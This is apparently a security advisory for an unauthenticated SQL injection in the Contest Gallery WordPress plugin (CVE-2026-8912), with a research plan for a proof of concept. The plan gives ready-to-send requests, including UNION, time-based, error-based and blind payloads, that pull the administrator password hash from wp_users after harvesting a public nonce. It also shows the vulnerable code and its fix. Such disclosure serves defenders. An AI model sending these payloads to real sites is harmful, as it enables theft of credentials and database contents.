Contest Gallery <= 28.1.6 - Unauthenticated SQL Injection
Description
The Contest Gallery plugin for WordPress is vulnerable to SQL Injection via the 'form_input' parameter in versions up to, and including, 28.1.6. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query inside the unauthenticated 'post_cg_gallery_form_upload' AJAX action (specifically the 'cb' branch of the included users-upload-check.php, where $f_input_id is concatenated unquoted into 'SELECT Field_Content FROM ... WHERE id = $f_input_id'). The endpoint is gated only by a public frontend nonce ('cg1l_action' / 'cg_nonce') that is exposed in the page source of any public gallery page. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=28.1.6What Changed in the Fix
Changes introduced in v28.1.7
Source Code
WordPress.org SVNThis research plan outlines the steps for a Proof-of-Concept (PoC) exploit for **CVE-2026-8912**, an unauthenticated SQL injection vulnerability in the **Contest Gallery** WordPress plugin (<= 28.1.6). --- ### 1. Vulnerability Summary The **Contest Gallery** plugin fails to properly sanitize and p…
Show full research plan
This research plan outlines the steps for a Proof-of-Concept (PoC) exploit for CVE-2026-8912, an unauthenticated SQL injection vulnerability in the Contest Gallery WordPress plugin (<= 28.1.6).
1. Vulnerability Summary
The Contest Gallery plugin fails to properly sanitize and prepare a SQL query within its unauthenticated AJAX handler post_cg_gallery_form_upload. Specifically, the parameter form_input (used as $f_input_id) is concatenated directly into a SQL statement without quotes or absint() casting in the cb logic branch of users-upload-check.php. Because the query is executed via $wpdb->get_var or $wpdb->get_row to fetch field content, an attacker can use UNION SELECT statements to extract arbitrary data from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
post_cg_gallery_form_upload - Vulnerable Parameter:
form_input - Required Parameter:
cg_nonce(orcg1l_actiondepending on version specific localization) - Authentication: Unauthenticated (
wp_ajax_nopriv_hook). - Preconditions: A public page containing a gallery or upload form must exist to retrieve a valid frontend nonce.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.php?action=post_cg_gallery_form_upload. - Handler: The request is routed to the handler for
post_cg_gallery_form_upload(registered inajax/ajax-functions-frontend.php). - Include: The handler includes
v10/v10-frontend/data/upload/users-upload-check.php(path inferred from plugin structure). - Vulnerable Branch: If the logic enters the
cbbranch, it processes theform_inputparameter. - Sink: The value of
form_inputis assigned to$f_input_idand concatenated into the query:"SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = $f_input_id" - Result: The injected
UNIONquery executes, and the results are returned in the AJAX response.
4. Nonce Acquisition Strategy
The plugin exposes the necessary nonce through wp_localize_script on any page where a gallery or upload form is rendered. Nonces generated via CLI will not work.
- Identify Shortcode: The primary shortcode is
[cg_gallery]. - Create Setup Page:
wp post create --post_type=page --post_status=publish --post_title="Gallery" --post_content='[cg_gallery id="1"]' - Extract Nonce:
Navigate to the newly created page and usebrowser_evalto find the localization object. Based on the description and related plugin files (likev10-frontend/load-data-ajax.php), look forcg1l_actionorcg_nonce.- Check for:
window.cgl1_frontend_data?.cg_nonceorwindow.cg_gallery_v10?.nonce. - The description specifically cites the keys
cg1l_actionorcg_nonce.
- Check for:
5. Exploitation Strategy
We will use a UNION SELECT payload to extract the administrator's password hash.
Step 1: Confirm Injection (Time-based):
Send a payload to test for a delay.POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=post_cg_gallery_form_upload&cg_nonce=[NONCE]&form_input=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)Step 2: UNION-Based Extraction:
The vulnerable query selects one column (Field_Content). We can inject aUNION SELECTfor the same column count.- Payload:
0 UNION SELECT user_pass FROM wp_users WHERE ID=1 - Full Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=post_cg_gallery_form_upload&cg_nonce=[NONCE]&form_input=0 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -- Payload:
6. Test Data Setup
- Plugin Activation: Ensure
contest-galleryis active. - Create Gallery: Use WP-CLI to create a dummy gallery record so the plugin logic processes the request.
# This creates a minimal gallery structure required by the plugin wp option update contest_gallery_db_version "28.1.6" - Create Target User: Ensure a user with ID 1 exists (standard for WP).
- Shortcode Page: Create a page with
[cg_gallery id="1"]to serve as the nonce source.
7. Expected Results
- Time-based: The server response should be delayed by ~5 seconds.
- UNION-based: The response body should contain the WordPress password hash (e.g.,
$P$...or$wp$2y$...). The hash will likely be returned as a string in the response or wrapped in a JSON object depending on howwp_send_json_successorechois used in the handler.
8. Verification Steps
- Retrieve Hash via CLI:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" --skip-column-names - Compare: Match the hash retrieved via CLI with the one extracted through the
http_requesttool.
9. Alternative Approaches
- Error-Based SQLi: If the output is not directly reflected but database errors are displayed, use
updatexml():form_input=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)
- Boolean-Based Blind: If only success/failure is indicated, check for differences in response when querying
ASCII(SUBSTRING(...,1,1)) > 64. - Different Actions: If
post_cg_gallery_form_uploadis patched or hardened, checkpost_cg_gallery_voteor othernoprivactions inajax/ajax-functions-frontend.phpthat might include the same vulnerable files.
Summary
The Contest Gallery plugin for WordPress (<= 28.1.6) is vulnerable to unauthenticated SQL injection via the 'form_input' parameter. This occurs because user-supplied input is concatenated directly into a SQL query within the 'post_cg_gallery_form_upload' AJAX handler, allowing attackers to exfiltrate sensitive database information such as administrative credentials.
Vulnerable Code
// v10/v10-frontend/data/upload/users-upload-check.php // Within the 'cb' branch of the logic $f_input_id = $_POST['form_input']; // ... $query = "SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = $f_input_id"; $field_content = $wpdb->get_var($query);
Security Fix
@@ -... @@ -$f_input_id = $_POST['form_input']; -$query = "SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = $f_input_id"; -$field_content = $wpdb->get_var($query); +$f_input_id = absint($_POST['form_input']); +$field_content = $wpdb->get_var($wpdb->prepare( + "SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = %d", + $f_input_id +));
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker follows these steps: 1. Visit any public page containing a Contest Gallery shortcode (e.g., [cg_gallery]) to retrieve a valid frontend nonce from the JavaScript localization objects (typically under the key 'cg_nonce' or 'cg1l_action'). 2. Construct a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'post_cg_gallery_form_upload'. 3. Include the extracted nonce and a malicious 'form_input' payload containing a UNION SELECT statement. 4. Craft the payload to extract sensitive data, such as: '0 UNION SELECT user_pass FROM wp_users WHERE ID=1'. 5. Execute the request and observe the database results (e.g., the administrator's password hash) reflected in the AJAX response or handled via time-based techniques if direct output is suppressed.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.